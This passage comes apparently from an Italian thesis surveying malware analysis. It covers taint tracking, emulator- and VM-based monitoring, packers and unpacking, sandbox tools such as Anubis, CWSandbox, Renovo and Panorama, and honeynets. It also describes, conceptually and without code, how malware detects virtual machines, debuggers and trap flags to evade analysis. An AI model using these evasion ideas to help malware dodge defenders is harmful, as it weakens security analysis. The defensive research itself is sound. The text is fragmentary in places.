zione di nuove taint-label nel sistema (cioè, segnando i dati che sono ritenuti interes-
santi dall'analisi). In contrasto ad una fonte di marcatura (taint), un pozzo di marca-
tura (taint) è un componente del sistema che reagisce in modo specifco quando sti-
molato da un input tainted (ad esempio, emettere un avviso quando i dati grezzi sono
trasferiti attraverso la rete).
26
3. Analisi del malware Statica e Dinamica
27
esecuzione è così banale come l'interrogazione dei moduli caricati o librerie. Ciò è
possibile perché lo stesso insieme di API è disponibile per lo strumento di analisi
come per ogni altra applicazione in esecuzione sul sistema. La possibilità di nascon-
dere il componente di analisi durante l'esecuzione solo nello spazio utente è molto li-
mitata. Ad esempio, nascondere un processo o una libreria di dati a tutti gli altri pro-
cessi in esecuzione sul sistema non è generalmente possibile solo dallo spazio utente.
Secondo Goldberg [B-21], una macchina virtuale (VM) è "un effciente, duplica-
to isolato della macchina reale."
28
3. Analisi del malware Statica e Dinamica
Proprio come con un emulatore, il VMM ha solo accesso allo stato della mac-
china virtuale. Il divario semantico tra questo stato e i concetti di alto livello degli og-
getti del sistema operativo deve essere colmato al fne di recuperare le informazioni
pertinenti. Mentre è banale creare una traccia di istruzione in un emulatore, che pro-
duce lo stesso risultato , su un sistema di analisi basato su VM non è così semplice,
perché le istruzioni vengono eseguite senza privilegi su hardware nudo senza coin-
volgere il VMM. Tuttavia, per produrre una traccia di istruzioni, può essere applicato
lo stesso approccio con analisi kernel-space. Una volta che il VMM impara il valore
CR3 del processo analizzato, si imposta il fag trappola nel registro dei EFLAGS della
CPU .
L'unica differenza è con gli ambienti che eseguono l'analisi della VMM; l'ecce-
zione di debug sarebbe stata catturata nel VMM prima che raggiungesse anche il si-
29
stema operativo guest. Per monitorare le chiamate API, si applicano le stesse restri-
zioni con tecniche di analisi di emulation-based.
Finora sono stati proposti tre metodi per eseguire questa operazione:
(1) le soluzioni software,
(2) le istantanee delle macchine virtuali,
(3) e le istantanee hardware.
Ad esempio, uno spam che invia worm che non può risolvere l'indirizzo IP del
server di posta non può nemmeno provare a inviare email di spam. Così, questo com-
30
3. Analisi del malware Statica e Dinamica
portamento caratteristico non può essere controllato. Se viene permesso invece l'ac-
cesso a tutta la rete, tuttavia, lo stesso campione può partecipare a campagne di spam
reali che porteranno ad un comportamento inaccettabile. Oltre a fornire l'accesso a In-
ternet ad un campione di malware, è anche vantaggioso fornire obiettivi facili per l'in-
fezione nel caso in cui il malware tenti di diffondersi attraverso la rete [Inoue et al.
2008].
La corsa agli armamenti tra gli autori di malware e gli analisti della sicurezza
che hanno bisogno di capire il comportamento di un malware per creare contromisure
effcaci si è evoluta. Questa sezione approfondisce le misure prevalenti che gli autori
d i malware applicano oggi per consentire ai loro campioni di eludere analisi. Se del
31
caso, si ricordano anche tecniche che sono state successivamente adottate dagli anali-
sti di sicurezza e gli strumenti per superare queste contromisure.
L'utilizzo di queste tecniche sul malware spesso non sono uniche. Gli autori di
programmi legittimi, benigni possono anche fare uso di tali tecniche per proteggere i
loro programmi dall'essere analizzati e dal reverse engineering.
Pertanto, mentre le frme non possono valutare la minaccia del binario com-
presso, la frma corrispondente può essere utilizzata per rilevare il fatto che un pro-
gramma packer è stato usato per creare il binario. Varianti metamorfche, in contrasto
con binari polimorfci, possono mutare la routine di estrazione, e possono intralciare
ancora di più il rilevamento . Secondo Taha ed altri [B-48] , una grande percentuale
di software dannoso oggi è disponibile in forma compressa. Inoltre, le istanze di
malware che applicano strati ricorsivi multipli e di packer sono sempre più diffuse.
32
3. Analisi del malware Statica e Dinamica
Questo rilevamento può essere ottenuto applicando una politica "write xor exe-
cute" (W ù X) sui binari compressi nelle pagine di memoria virtuale. Questa tecnica è
descritta nella seguente procedura in tre fasi:
33
(1) All'avvio, tutte le pagine di memoria del binario oggetto di analisi sono contrasse-
gnate come eseguibili e di sola lettura;
(2) Una volta che il fle binario scrive una pagina di memoria, si verifca un errore di
pagina . Quando viene catturato questo errore di pagina ('fault') sul permesso di scrit-
tura , il sistema modifca le impostazioni di protezione della pagina (read/write-only)
lettura /scrittura ( non eseguibile o NX);
(3) Non appena la routine di disimballaggio è completata, si trasferisce il controllo al
binario non modifcato. Ciò porterà ad un altro errore di pagina, a causa dell' impo-
stazioni di protezione NX della pagina;
catturando durante l'esecuzione questi errori di pagina, un sistema di analisi è in gra-
do di riconoscere la fne di una routine di disimballaggio. Inoltre, l'istruzione che ha
generato l'errore di esecuzione della pagina indicherà il punto di ingresso del pro-
gramma del binario originale.
34
3. Analisi del malware Statica e Dinamica
Chen et al. [B-10] presentano una tassonomia di diversi strumenti che possono
essere utilizzati dal malware per rilevare se viene eseguito in un ambiente strumenta-
to (ad esempio, in una macchina virtuale, o collegato a un debugger). Secondo la tasso-
nomia, tali strumenti si possono trovare nelle seguenti quattro aree principali:
(1) Hardware. Dispositivi in macchine virtuali spesso possono essere facilmente rileva-
ti tramite una specie di impronta (fngerprinted) (ad esempio, "pcnet32" scheda di rete
di VMWare, o di KVM "QEMU HARDDISK" disco rigido virtuale);
(2) Ambiente di esecuzione. si riferisce a manufatti che vengono introdotti nell' ambiente
di un processo monitorato (ad esempio, gli indicatori di stato del debugger accessibili
dal IsDebuggerPresent () chiamata API di Windows, o l'indirizzo di memoria della ta-
bella del descrittore di interrupt (IDT) nelle VMWare guests);
(3) Applicazioni esterne. La presenza di applicazioni di monitoraggio ben note, come i
debugger, o fle-system e strumenti di monitoraggio del Registro di sistema, possono
anche essere un'indicazione per un sistema di analisi;
(4) Comportamentale. Il tempo di esecuzione di istruzioni privilegiate variano tra host
reali ed i sistemi che vengono eseguiti in un ambiente virtuale. E 'semplice per un
programma di malware catturare queste differenze temporali.
Mentre i campioni di malware sono noti per rilevare quadri di analisi specifci,
esistono tecniche più generiche che rilevano se un programma è in esecuzione all'in-
terno di un ambiente virtualizzato o emulato [B-18] [B-27][B-44]. Raffetseder et al. [B-
43] propongono molteplici metodi per individuare un emulatore rilevando differenze
nel comportamento del sistema emulato rispetto a hardware reale.
Questi metodi si basano sui bug della CPU, modelli di registri specifci, e le
differenze nei tempi. Inoltre, Garfnkel et al. [B-19] illustrano le possibilità di rileva-
mento basato su discrepanze logiche, risorse e tempi.
Dal momento che alcune tecniche di analisi facilitano i fag trappola negli EFLAGS re-
gistrati per creare un'analisi a grana fne (a livello di istruzione macchina) , campioni
di malware possono rilevare tali techiche leggendo il registro delle EFLAGS e ispezio-
nando il bit specifco all'interno.
35
Tecniche di contrasto all'Anti-Analisi
Attualmente, molti campioni di malware cessano di esporre il loro comporta-
mento malevolo quando rilevano un ambiente di emulazione o virtualizzazione.
Questo comportamento viene sfruttato da Chen et al. [B-10] che propongono mecca-
nismi di protezione attraverso l'implementazione di leggeri artefatti che riproducono
tali ambienti. La valutazione di questa tecnica ha dimostrato che, in molti casi, tali
meccanismi sono riusciti a dissuadere il malware a svolgere le proprie azioni danno-
se.
A seconda delle parti del sistema che vengono modifcate per eseguire il mo-
nitoraggio, diverse tecniche possono essere applicate per nascondere la presenza del-
lo strumento di analisi .
Per tecniche che implementano almeno una parte della loro capacità di analisi
nella stessa istanza del sistema operativo del campione analizzato, è possibile na-
scondere questi componenti utilizzando tecniche rootkit. Ad esempio, per nascondere
36
3. Analisi del malware Statica e Dinamica
Il gestore dell' errore di pagina non può essere impostato per segnalare una
versione non modifcata della pagina di memoria in questi casi. Così, il controllo di
integrità passerà e le modifche effettuate dall' ambiente di analisi saranno nascoste
con successo. Come descritto , la modifca delle impostazioni di protezione pagina è
una valida opzione per rilevare se un binario compresso ha completato lo stadio di
decompressione.
Ad esempio, nei sistemi che modifcano direttamente le voci della tabella pagi-
ne (PTE) del processo in esecuzione, le modifche possono essere mascherate mante-
nendo copie ombra delle strutture della tabella delle pagine coinvolte. Inoltre, un si-
stema in grado di segnare la tabella di pagina, contenente le PTE, sue proprie, come
"non presente". Così, se un processo analizzato accede a un PTE modifcato, potrebbe
innescare un errore di pagina, e il gestore di page fault potrà restituire la versione om-
bra di tale voce al campione.
Sistemi che operano fuori del sistema operativo eseguendo il campione analiz-
zato (ad esempio, in VMM, emulatori o hypervisor) possono mantenere copie replicate
delle tabelle di pagina che non sono affatto accessibili al campione analizzato. Così,
non è necessario alcun ulteriore sforzo per nascondere che queste strutture vengano
rilevate. Allo stesso modo, questi sistemi potrebbero modifcare le autorizzazioni per
accedere alle tabelle ombra delle pagine e intercettare e gestire l'errore di pagina risul-
tante sul più alto livello di privilegio (vale a dire, in hypervisor o emulatore). Non pro-
pagando questi errori fault di pagina al sistema operativo guest, le modifche saranno
nascoste con successo. Inoltre, sistemi di analisi che si basano sull'uso di registri spe-
37
cifci della macchina (MSR) potrebbero essere rilevati se questi MSR fossero accessi-
bili dal campione. Per esempio se il fag trappola nel registro x86 EFLAGS è imposta-
to, il completamento della successiva istruzione solleva un'eccezione trappola e can-
cella il fag. Così, impostando il fag ripetutamente nel gestore di interrupt corrispon-
dente, si può facilmente produrre una traccia istruzione del processo monitorato.
L' offuscamento del codice condizionale (cifratura) [B-45] può essere applicato
al fne di ostacolare ulteriormente gli strumenti di analisi. Seguendo questo schema,
la rappresentazione binaria di un programma che dipende da un meccanismo di atti-
38
3. Analisi del malware Statica e Dinamica
vazione (ad esempio, un bot ricettore di un comando), viene sostituita con una versio-
ne cifrata della stessa. La chiave di cifratura è scelta in modo che sia implicitamente
disponibile quando il codice deve essere eseguito (ad esempio, la stringa di comando
ricevuta), ma altrimenti non presente nel programma.
39
Riassumendo questi risultati di tempo con un limite superiore upper-bound
sulle prestazioni di un determinato strumento. La maggior parte del malware, una
volta avviato, rimane in esecuzione fno a quando il sistema operativo infetto viene
eseguito.
40
3. Analisi del malware Statica e Dinamica
4.1 Anubis
Anubis [18] (TTAnalyze è il suo predecessore presentato da Bayer et al. [B-5])
è uno strumento per analizzare il comportamento degli eseguibili Windows PE (Por-
table Executable) con particolare attenzione all' analisi di malware.
L'analisi si concentra sugli aspetti rilevanti per la sicurezza riferite alle azioni
di un programma, il che rende più facile il processo di analisi e siccome il dominio è
a grana più fne permette risultati più precisi. E' lo strumento ideale per chi è interes-
sato ad ottenere una rapida comprensione delle fnalità di un binario sconosciuto.
Inoltre, i parametri passati a queste funzioni vengono esaminati e monitorati.
41
Poiché Anubis esegue il campione analizzato in un sistema operativo comple-
to Windows, è importante concentrarsi sulle operazioni che vengono eseguite per
conto del campione e omettere le operazioni che si verifcano come un comportamen-
to normale del sistema operativo o altri processi in esecuzione. A tal fne, Anubis si
avvale della conoscenza del fatto che Windows assegna ad ogni processo in esecuzio-
ne la propria “page”. L'indirizzo fsico della page del processo attualmente in esecu-
zione è sempre presente nel registro delle CPU CR3. Così, sulla invocazione del cam-
pione analizzato, Anubis registra il valore del registro CR3 ed esegue l'analisi solo
per questo processo.
4.2 CWSandbox
Willems et al. [B-54] [37] hanno creato uno strumento chiamato CWSandbox
che esegue il campione in analisi sia nativo o in un ambiente virtuale di Windows.
42
4. Strumenti di analisi del malware
autorizzazioni) , in cui il codice del computer può essere eseguito senza la possibilità
di causare danni o infezioni. Proprio come in un parco giochi reale dove i bambini
possono giocare nella sandbox ma non sono autorizzati a giocare ovunque al di fuori
della scatola di sabbia e la casella attorno alla "scatola di sabbia" è progettata , la sand-
box è il loro "mondo virtuale".
A tal fne, il processo malware viene avviato in uno stato sospeso, il che signi-
fca che il campione e tutte le librerie dipendenti vengono caricati nella memoria ma
non avviene ancora l'esecuzione . Durante l'inizializzazione, CWSandbox esamina le
funzioni API esportate di tutte le librerie caricate e installa i necessari agganci hook.
Ciò avviene facendo il backup e sostituendo quelle istruzioni che si trovano ai primi
cinque byte della funzione API con un salto non condizionato 'notconditional' (JMP)
dell' istruzione alla funzione di monitoraggio. Quando il campione richiama la fun-
zione API, il fusso di controllo viene diramato all' aggancio che esegue l'analisi dei
parametri.
43
analizzato. Questo processo funziona per tutte le librerie che sono defnite nella tabel-
la di importazione del campione perché sono caricate automaticamente all'avvio del
processo. Tuttavia, l'esplicito legame di DLL, interpretato dalla chiamata API 'Load-
Library' di Windows ', consente a un'applicazione di caricare dinamicamente una li-
breria durante il runtime. Poiché il malware potrebbe usare questo per aggirare l'ana-
lisi, anche l' API LoadLibrary è agganciata, ed esegue la riscrittura del binario già ci-
tato una volta che la libreria richiesta viene caricata nel processo di 'spazio di memo-
ria'.
44
4. Strumenti di analisi del malware
L'uscita di una sessione di analisi è un fle di report che descrive, da una visio-
ne di alto livello, quali azioni sono state eseguite dal campione durante l'analisi. Que-
sto rapporto può essere utilizzato da un analista umano per capire rapidamente il
comportamento del campione, così come le tecniche che vengono applicate a svolgere
il proprio compito.
45
cessarie per l'esecuzione del campione. Le funzioni che forniscono queste API sono
pesantemente strumentate con le capacità di analisi corrispondenti. Inoltre, per man-
tenere la simulazione self-contained , queste API di sostituzione non eseguono alcu-
na interazione con il sistema reale.
Invece, i risultati di tali chiamate API sono creati per consentire al malware di
continuare l'esecuzione (ad esempio, inserendo valori di ritorno di funzionamento
corretto delle API). Se necessario ha luogo un conteggio per contrastare alcune tecni-
che di rilevamento applicate da software maligno.
Questo non viene eliminato dal campione sotto analisi, e potrà iniziare a in-
viare i comandi di posta elettronica, tra cui il payload maligno.
Un metodo analogo viene seguito quando un campione tenta di scrivere in una con-
divisione di rete simulata o tenta di risolvere i nomi host in indirizzi IP tramite query
DNS.
46
4. Strumenti di analisi del malware
4.2.2 ThreatAnalyzer
(ex CWSandbox) [dal novembre 2013] gestisce i fle eseguibili e gli URL in un
ambiente controllato - esattamente come un utente vorrebbe - per analizzare e deter-
minare i potenziali rischi. La soluzione automatizza dell'analisi del comportamento
da identifcare, per arrestare ed eliminare le minacce avanzate persistenti (APT), gli
attacchi mirati, le minacce zero-day e altro malware sofsticato attraverso:
Una gamma completa di report che forniscono: - in pdf un'analisi di sintesi e presente i
casi analizzati , in HTML/XML/JSON i risultati comportamentali dei campioni com-
pleti, inclusi i dettagli di processo, chiavi di registro, modifche del fle system, il traff-
co di rete, URL, hash di fle , in archivi zip tutte le informazioni catturate da campioni
47
analizzati, compresi i fle creati,screenshot, di immagine della memoria di processo e
PCAP (attività di rete), in PCAP tutte le attività di rete generate da un campione du-
rante l'analisi.
4.2.3 Joebox
Durante l'analisi dinamica di un campione potenzialmente dannoso, Joebox
[B-7] crea un registro che contiene le informazioni di alto livello delle azioni svolte in
materia di attività di fle system, di registro e di sistema. Joebox è specifcamente pro-
gettato per funzionare su hardware reale, non basandosi su una tecnica di virtualiz-
zazione o in emulazione. Il sistema è progettato come un modello client-server in cui
una singola istanza controller può coordinare più clienti che sono responsabili dell'e-
secuzione dell'analisi. Quindi, è semplice aumentare la produttività del sistema com-
pleto aggiungendo più clienti durante l' analisi del sistema. Tutti i dati di analisi ven-
gono raccolti dal controllo della macchina. Joebox aggancia chiamate API in modali-
tà utente, così come invocazioni sistema di chiamata. Ogni libreria che fornisce un
API contiene un dizionario dei nomi delle funzioni esporta.
48
4. Strumenti di analisi del malware
La logica alla base di questo è che il malware può rimanere inattivo fno a
quando avviene l'interazione con l'utente al fne di eludere meno sofsticati strumenti
di analisi automatizzata. Realizza l' analisi dinamica di qualsiasi tipo di fle in base
alla confgurazione personalizzata o all'ambiente [B-16];
4.2.4 Ether
49
ging [B-61] [B-62]. Se viene rilevato il fag trappola, questi malware possono masche-
rare i loro intenti malevoli e aggirare l'analisi.
50
4. Strumenti di analisi del malware
4.2.5 WildCat
Wildcat è un framework per l'analisi del malware sia a grana grossa che a gra-
na fne. Esso consiste in più componenti che implementano i punti di interruzione
stealth [B-50], strumentazione binaria [B-49] [B-51], ed esecuzione localizzata [B-52].
51
Ad esempio, Vampire utilizza il fag trappola della CPU nel registro EFLAGS per
implementare un solo passo. Analogamente al metodo di Ether, viene utilizzata una
copia ombra di questo registro per presentare qualsiasi applicazione con la risposta
attesa, dunque, nascondendo il vero valore del registro EFLAGS. Inoltre, una corre-
zione all' orologio viene applicata per nascondere la latenza introdotta dal gestore
page fault. Due componenti del quadro strumentazione forniscono strumentazione
binaria:
4.2.5.1 Sakthi
[B-49] Implementa strumentazione binaria per la riscrittura di una funzione di desti-
nazione e per reindirizzare il controllo a una versione strumentata. Questo permette
la pre e post elaborazione di argomenti e di risultati, e permette anche al sistema di
chiamare la funzione di destinazione originale.
4.2.5.2 Spike
[B-52] Fornisce pure strumentazione binaria, però, invece del funzione target di ri-
scrittura, si costruisce su Vampire. Il sistema inserisce breakpoint nei punti desiderati
del codice sorgente e mantiene una tabella che collega un punto di interruzione ad
uno strumento. Una volta che il punto di interruzione è attivato, il sistema ridirige il
fusso di controllo allo strumento che può effettuare qualsiasi preelaborazione se ne-
cessaria. Se necessario, lo strumento può chiamare la versione non modifcata della
funzione target e post elaborazione o validare qualsiasi risultato dopo il suo ritorno.
SPIKE consente anche il reindirizzamento in fle DLL modifcando il fle binario su
disco prima che venga caricato. Durante questa modifca, SPYKE aggiunge il codice
analisi alla DLL e modifca voci nella sua tabella di indirizzo di esportazione per in -
dicare le funzioni di analisi, invece delle funzioni bersaglio. Un'applicazione invo-
cando la funzione strumentata chiama la funzione di aggancio che esegue l'analisi
desiderata e poi chiama la funzione originale.
4.2.5.3 Cobra
[B-51], un sistema che supporta le esecuzioni localizzate, che fa riferimento a una tec-
nica che divide un determinato fusso di programma in piccoli blocchi di base che
vengono eseguiti a loro volta. Un blocco di base è una sequenza di istruzioni termi-
nato con un'istruzione di modifca del fusso di controllo (ad esempio, chiamata,
JMP) o quando una certa lunghezza massima viene raggiunta. Dopo l'esecuzione di
ogni blocco di base, il sistema richiama una funzione di analisi in grado di eseguire le
52
4. Strumenti di analisi del malware
operazioni necessarie del livello a grana fne. Poiché la creazione di blocchi di base in
fase di esecuzione è costoso e la strumentazione potrebbe non essere necessaria in tut-
ti i casi, Cobra consente all'utente di defnire punti di sovrapposizione. Un punto di
sovrapposizione è l'indirizzo di un'istruzione sulla cui esecuzione il sistema passa al-
l'esecuzione localizzata. Punti di uscita, rispettivamente, vengono utilizzati per anco-
ra fermare l'esecuzione localizzata. Coppie di sovrapposizione e punti di rilascio
possono essere usati per impedire al sistema di eseguire l' esecuzione localizzata in
funzioni API ben note. A parte queste eccezioni, la premessa di Cobra è quello di ese-
guire solo il codice che è diviso in blocchi e di conseguenza la strumentazione. Istru-
zioni privilegiate possono essere utilizzate da un campione di malware per rilevare il
quadro di analisi. Per evitare questo, è stato individuato il set di importanti istruzioni
privilegiate, e il rischio di essere scoperti è mitigata attraverso la scansione dei blocchi
di base per le occorrenze di tali funzioni e la sostituzione di queste istruzioni privile-
giate con impianti nascosti che mascherano tutte le tracce dello strumento di analisi.
4.2.6 Hookfinder
Quando il malware raccoglie informazioni da un sistema infetto, è importante
dal punto di vista dell'attaccante che ciò avvenga in modo furtivo, al fne di eludere il
rilevamento. Comunemente, programmi dannosi, come spyware o rootkit, aggancia-
no degli impianti nel sistema affnchè avvisino in caso di eventi di loro interesse.
53
Oltre a taint-tracking, Hookfnder mantiene anche una traccia di impatto det-
tagliata. Questa traccia comprende tutte le istruzioni che coinvolgono dati tainted e
permette la ricostruzione del metodo utilizzato per fssare l'aggangio (hook) nel siste-
ma. Basato sull' impatto della traccia , Hookfnder può produrre informazioni, quali
il nome della funzione utilizzata per impiantare l'hook (ad esempio, SetWindowHoo-
kEx).
Allo stesso modo come con Panorama , Hookfnder impiega un modulo del
kernel che esegue nel sistema operativo emulato per colmare il gap semantico. Que-
sto modulo è responsabile della raccolta delle informazioni di alto livello necessarie
(ad esempio, librerie caricate, attualmente in esecuzione processo, ecc) e comunicare
queste informazioni al sistema di analisi sottostante.
4.3.0.1 Justin.
Justin.
Guo et al. [B-65] presentano Justin, una soluzione automatica al problema
packer. L'obiettivo principale di Justin è quello di invertire la compressione del mal-
ware in uno stato in cui un comune motore AV signature-based sia in grado di rile-
vare la minaccia.
Justin si basa sull'idea che dopo che la routine unpacker è completata, una co-
pia del malware originale è presente nello spazio di memoria del processo. Per appli-
care con successo uno scanner AV basato sulla frma , devono essere soddisfatte due
condizioni:
54
4. Strumenti di analisi del malware
(1) L'indirizzo dello spazio layout del programma incorporato all'interno di un bina-
rio compresso dopo la decompressione è lo stesso di quello del programma che viene
direttamente caricato in memoria, e (2) l' unpacker decomprime il programma com-
pletamente integrato prima di trasferire il controllo ad esso.
Requisito (1) i risultati degli scanner AV che si basano sul layout di memoria
di un binario di solito sono soddisfatti da routine di unpacking, poiché la maggior
parte degli eseguibili originali si basano su un layout di memoria nonchanging (cioè,
non sono indipendenti dalla posizione).
La sfda principale per Justin sta nel riconoscere la fne di esecuzione del meto-
do unpacker, che è identico a rilevare l'inizio di esecuzione del codice originale. Sono
introdotti tre metodi differenti per rilevare la fne di esecuzione del metodo unpacker.
Poiché il binario originale viene ricostruito in memoria prima dell'esecuzione, un me-
todo è basato sulla rilevazione del trasferimento del fusso di controllo per una pagi-
na di memoria creata o modifcata dinamicamente . Inoltre, i programmi packed non
dovrebbero comprendere il fatto che sono stati decompressi prima dell'esecuzione .
Pertanto, il secondo metodo si basa sul presupposto che lo stack di un binario decom-
presso dovrebbe essere simile allo stack di una versione completa appena caricata di
programma. Il terzo metodo si basa sul presupposto che una decompressione avve-
55
nuta con successo porta alla corretta impostazione degli argomenti della riga di co -
mando al programma originale sullo stack.
Per aggirare gli eventuali problemi che potrebbero sorgere quando il binario
tenta di modifcare le impostazioni di pagina di protezione, Justin registra i cambia-
menti, ma mantiene le proprie impostazioni a posto. Quando il binario interroga i
fag di protezione, Justin riporta le informazioni registrate, se presenti.
4.3.0.2 Renovo.
Kang et al. [B-66] propongono Renovo come una soluzione dinamica al problema pac-
ker che estrae automaticamente il codice nascosto di un fle eseguibile.
Per ricostruire il codice nascosto che viene ripristinato con un metodo unpac-
ker, Renovo applica tecniche di emulazione dell'intero sistema per monitorare l'ese-
cuzione. Oltre a gestire la memoria di sistema del sistema emulato, Renovo gestisce
anche una memoria ombra che tiene traccia della memoria a accessi in scrittura a li-
vello di byte.
Questa memoria ombra mantiene un fag per ogni byte, indica se il byte in
memoria è stato scritto o no. Inizialmente, tutti i fag nella memoria ombra vengono
cancellati. Ogni scrittura dei programmi analizzati segna i fag dei byte interessati
come sporchi 'dirty'. Se l'istruzione attualmente eseguita (puntata dal puntatore di
istruzione) è contrassegnata come sporca, il sistema identifca l'esecuzione di un'i -
struzione generata dinamicamente. A questo punto, il sistema ha rilevato un livello
56
4. Strumenti di analisi del malware
nascosto. Il codice nascosto e i dati sono identifcati come il contenuto della memoria
scritta, e il punto di ingresso originale è dato dal valore del puntatore di istruzioni.
Gli autori sostengono che il malware può applicare più strati di packer a compli-
care ulteriormente l'analisi. Per ovviare a questo, Renovo memorizza i dati raccolti e
azzera i bit sporchi della memoria ombra dopo che viene scoperti un livello nascosto,
ripetendo l'intero processo, se necessario. La tecnica per rilevare l'esecuzione del codi-
ce generato dinamicamente è simile alla tecnica applicata da Justin . Tuttavia, mante-
nere le informazioni in una memoria ombra nell'emulatore libera gli autori di Reno-
vo dal compito di mascherare il sistema al malware che modifca e verifca le imposta-
zioni di pagina di protezione.
4.3.0.3 OmniUnpack.
Martignoni et al. [B-67] hanno progettato un quadro per invertire la compressione di
binari ed esegue uno scanner antivirus off-the-shelf sul codice recuperato.
57
Allo stesso modo come con Justin e Renovo, OmniUnpack rileva l'esecuzione
di codice generato dinamicamente implementando la tecnica di rilevazione di cui al
punto 3.3.6.4, seguendo lo schema di protezione di pagina della memoria Wù X.
In contrasto con gli strumenti di cui sopra, tuttavia, OmniUnpack cerca di evi-
tare l'esecuzione dello scanner antivirus ad ogni rilevamento di un caso del genere. A
tal fne, OmniUnpack sfrutta l'osservazione che il codice maligno può interessare
solo il sistema operativo sottostante attraverso l'interfaccia delle chiamate di sistema.
Pertanto, OmniUnpack defnisce un insieme di chiamate di sistema "pericolose" (ad
esempio, operazioni di scrittura-fle/registro/rete/creazione di processo, ecc.) Una
volta che tale chiamata di sistema pericolosa viene richiamata, il sistema esamina l'in-
sieme di pagine modifcate ed eseguite e invoca lo scanner AV su queste aree di me-
moria. Far rispettare la politica di protezione di pagina e la gestione dei gruppi di
pagine scritte e scritte/eseguite viene realizzata da un componente in modalità ker-
nel. Le informazioni raccolte sono trasmesse al motore AV in esecuzione in spazio
utente non appena una chiamata di sistema pericolosa viene richiamato dal program-
ma.
4.3.0.5 Behavior-Based.
Sistema di rilevamento spyware. Kirda et al. [2006] propone un sistema ibrido tra analisi di-
namica e statica per identifcare violazioni della sicurezza dello spyware.
58
4. Strumenti di analisi del malware
Questi eventi vengono generati, per esempio, quando l'utente passa a un nuo-
vo URL facendo clic su un link, o quando una pagina web ha fnito il download e il
rendering. Altri eventi indicano che un messaggio è stato inviato e consente la raccol-
ta di credenziali di accesso.
4.3.0.6 TQana.
Il sistema presentato da Egele et al. [2007] è in grado di analizzare in modo dinamico
lo spyware che viene installato come un plugin nel browser di Microsoft Internet Explorer.
59
Gli oggetti browser helper (BHO), sono al centro di una grande varietà di
software dannoso che compromette la sicurezza del sistema di un utente. Estenden-
do il Qemu [Bellard 2005] emulatore completo con capacità di emulare informazioni
di fusso, TQana è in grado di tracciare la propagazione dei dati sensibili attraverso il
sistema. Etichette taint vengono introdotte nel sistema attraverso l'evento Navigate
del browser Web, che parte ogni volta che il browser è incaricato di visitare una nuo-
va posizione facendo clic su un collegamento, la selezione di un segnalibro, o di en-
trare in un nuovo URL nella barra degli indirizzi. Inoltre, i contenuti della pagina re-
cuperati dal browser Web sono viziati. Implementando taint-sicks scrivendo sopra
('cover-write') sul fle system o sul Registro di sistema, l'invio dei dati alterati attra-
verso la rete e la scrittura di dati tainted alle regioni di memoria condivisa. TQana ap-
plica il monitoraggio della marcatura di dipendenze dei dati, le dipendenze di indi-
rizzo, nonché di alcune dipendenze di controllo del fusso. Il sistema di tracciamento
taint implementato associa etichette con ogni byte marcato, quindi, identifca l'origi-
ne. Inoltre, un fag di stato è associato ad ogni byte, che indica se il byte è stato tocca-
to dalla componente in analisi. Questa distinzione è fondamentale, come illustrato
dal seguente esempio.
60
4. Strumenti di analisi del malware
nent Object Model (COM) di Windows. Tutte le attività di analisi sono eseguite esclu-
sivamente dall'esterno del sistema emulato, e, quindi, devono colmare il gap semanti-
co tra la vista a livello di hardware dell'emulatore e il funzionamento dei processi di
sistema, thread, e la memoria virtuale. L'aggancio è implementato monitorando il
puntatore all'istruzione e confrontando il valore ai punti di entrata della funzione. Se
c'è una corrispondenza, la funzione di hook viene eseguita nell'emulatore e raccoglie le
informazioni richieste dalla memoria del sistema emulato.
4.3.1 Panorama.
Un sistema in grado di catturare il fusso di informazioni a livello di sistema è presentato da
Yin et al. [2007]. Le informazioni risultanti dovrebbero dare ad un analista una vista detta-
gliata di come un programma collaudato interagisce con le informazioni sensibili, consentendo
in tal modo all'analista di valutare le intenzioni di questo programma.
61
Per sostenere questo metodo, gli autori implementato un sistema di informa-
zione a fusso dinamico che applica i dati e l'indirizzo tainting. Le fonti taint basate
sull'input dalla tastiera, la rete, o il disco rigido sono responsabili per l'introduzione
delle etichette taint sul sistema. Panorama non comprende taint sink dedicati, ma
crea un grafco di marcatura (taint) durante l'analisi del programma sospetto.
Al fne di colmare il gap semantico tra la vista del sistema operativo di alto li-
vello e lo stato dell'hardware raggiungibile tramite l'emulatore, si applicano le se-
guenti tecniche. Panorama conosce per ogni istruzione quale processo sta eseguendo
e quale modulo (ad esempio, libreria dinamica) è l'origine di questa istruzione. Allo
stesso modo come con Renovo (), questo è realizzato da un componente in modalità
kernel in esecuzione nell'ambiente emulato che controlla la creazione di processo e la
libreria di caricamento, e comunica queste informazioni dal sistema operativo guest
emulato. La correlazione tra i settori del disco rigido emulato e la nozione astratta di
un fle nel sistema emulato è realizzata dallo strumento forense The Sleuth Kit [Car-
rier].
62
4. Strumenti di analisi del malware
4.4 HoneyNet
Abbiamo inserito questo paragrafo negli strumenti di analisi del malware an-
che se come defnizione ad honeynet si attaglia meglio la parola strategia. Questa è
infatti una strategia fnalizzata ad incoraggiare e a favorire una compromissione di
un sistema trappola predisposto per attirare un attacco esterno perpetrato attraverso
diversi vettori, automatici e non . Una honeynet è una rete di computer-esca (honey-
pot), volontariamente resi insicuri abbassando tutte le relative protezioni di sicurezza,
ed esposti alla rete pubblica.
La concezione di “honeynet” è stata ideata dal fondatore di “The Honeynet
Project”, Lance Spitzner [23] .
“Dal suo blog Spitzer spiega come Honeypot siano stati utilizzati attivamente
dalla comunità di sicurezza per oltre dieci anni. Utilizzati per una varietà di scopi,
principalmente per la raccolta di informazioni, nonostante abbiano generato una
grande quantità di discussione su questioni legali. I maggior vendor utilizzano questa
strategia per tenere in sicurezza internet (come ad esempio Symantec, McAfee, Web-
sense, Sophos) e molti Enti Certifcatori . Gli aggressori informatici devono lavorare
attivamente sugli honeypot di propria iniziativa, e poi rompere nei sistemi. Si tratta
di sistemi che non hanno alcun valore della produzione, nessuno dovrebbe interagire
con essi. Inoltre, questi sistemi non hanno account aperti, l'unico modo possibile per
accedervi è appunto quello di rompere il sistema. Infne, nessun reale monitoraggio
avviene fno a quando l'attaccante non entra nel honeypot e la raccolta dati completa
è successiva a tale evento.”
63
Il valore primario di un honeypot è l'informazione che esso dà sulla natura e
la frequenza di eventuali attacchi subiti dalla rete. Gli honeypot non contengono in-
formazioni reali e quindi non dovrebbero essere coinvolti da nessuna attività; rileva-
zioni in senso opposto possono rivelare intrusioni non autorizzate o malevole in cor-
so.Gli honeypot possono portare dei rischi ad una rete, e devono essere gestiti con at-
tenzione, un attaccante potrebbe usarli per entrare in altri sistemi.
64
4. Strumenti di analisi del malware
interazione per compiere l’attività di acquisizione malware. E' un progetto che punta
alla realizzazione di una piattaforma automatica per l’analisi delle botnet in tempo
reale. Dorothy è il nome del software realizzato per adempiere a questo scopo. Il soft-
